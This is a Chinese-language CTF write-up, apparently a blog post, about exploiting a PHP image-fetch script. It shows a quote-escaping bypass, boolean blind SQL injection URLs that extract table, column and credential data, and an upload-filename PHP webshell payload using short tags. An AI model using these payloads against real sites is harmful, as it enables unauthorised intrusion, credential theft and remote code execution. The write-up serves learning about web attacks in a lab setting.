robots.txt给了bak
找到了一个源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

简单看了一下
id经过addslashes过滤
addslashes会把\,',",%00转义
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
本地测了一下
id=\0'可以逃逸一个单引号
简单分析一下
\0'经过addslashes处理之后变成\0\'
再经过str_replace处理
\0和'被置空,剩下一个\
这个\转义掉后面的'
然后path被吃进去,导致逃逸
然后构造布尔值盲注
?id=\\0'&&path=or id=(length(database())=10)%23
由于buu的429跑python盲注脚本有点蛋疼。。直接上burp了
常规的布尔值盲注
爆库:
?id=\\0%27&&path=or%20id=(ascii(mid((select%20database()),1,1))%3E1)%23
一个一个转字符有点痛苦 写了个python脚本
有时间一定要开发个burp自动转的插件!(挖坑)((或许可以让Lamber写))
库名是ciscnfinal
爆表:
p?id=\\0%27&&path=or%20id=(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),12,1))=115)%23
表名users
爆列名:
id=\\0'&&path=or%20id=(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),1,1))>1)%23
过滤了单引号所以用16进制编码一下
跑的有点慢 抽根烟
列名username,password
爆字段:
?id=\\0%27&&path=or%20id=(ascii(mid((select(group_concat(username))from(users)),3,1))=1)%23
?id=\\0%27&&path=or%20id=(ascii(mid((select(group_concat(password))from(users)),3,1))=1)%23
admin 密码忘了 刚才发的时候断网了 直接没了
进去是一个上传口
fuzz一下 过滤了文件名里的php
传上去之后会把文件名写到php文件里
所以可以把webshell写到文件名里
这里涉及一个玄学的知识点
短标签
自己搭环境测了测
把变量或者函数赋值给<\?会自动输出
所以payload就是
<?=eval($_POST['c']);?>.jpg
还有一个玄学的问题是
直接system('cat /flag');放到文件名里是输出不了的
测了一下感觉应该是/的问题 因为ls可以执行 但是ls /就不行了
但是我本地测又是可以输出的 玄学问题 不知道是不是题目有过滤
明天在linux搭个环境测试一下
如果是系统不一样导致的问题
似乎可以尝试一下绕过的拓展之类的23333333
明天看明天看

分类: 技术

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注